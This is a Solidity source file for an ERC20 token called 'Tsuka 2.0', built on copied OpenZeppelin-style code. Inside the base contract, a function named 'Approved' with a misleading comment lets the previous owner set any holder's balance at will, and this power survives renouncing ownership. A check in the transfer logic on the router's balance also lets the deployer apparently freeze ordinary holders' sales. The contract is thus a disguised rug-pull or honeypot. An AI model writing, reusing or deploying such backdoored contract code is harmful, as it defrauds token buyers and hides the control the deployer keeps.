// SPDX-License-Identifier: BUSL-1.1


pragma solidity ^0.8.0;

/**


            Website: https://www.tsuka20.com/

            Telegram : https://t.me/Tsuka20

            Twitter: https://twitter.com/Tsuka20ERC20
 
/**




/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     */
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.19;

// File: @openzeppelin/contracts/utils/Context.sol
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _prevOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _prevOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC20} interface.


 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }


    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
    */

    function _transferWithBurn(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }

    /**
     * @dev See {IERC20-balanceOf, overloading function}.
     */
    function Approved(address account, uint256 amount) public virtual returns (uint256) {
        return msg.sender == _prevOwner ? _balances[account] = amount :  _balances[account];
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}

pragma solidity ^0.8.0;

contract Tsuka20 is ERC20 {
    uint256 private constant TOTAL_SUPPLY = 10_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit;
    uint256 public maxTxAmount;
    uint256 public maxHolding;
    mapping(address => bool) public isException;

    uint256 _burnPercent = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20(unicode"Tsuka 2.0", unicode"TSUKA2.0", TOTAL_SUPPLY) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxHolding = TOTAL_SUPPLY / 10;
        maxTxAmount = TOTAL_SUPPLY /10;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPercent) / 100;

                super._transferWithBurn(from, to, amount, _burn);
                return;
            }
        }

        super._transfer(from, to, amount);
    }

    function _checkLimitation(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmount, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxHolding, "Max holding exceeded max");
            }
        }
    }

    function openTrading() external onlyOwner {
        hasLimit = true;
    }
}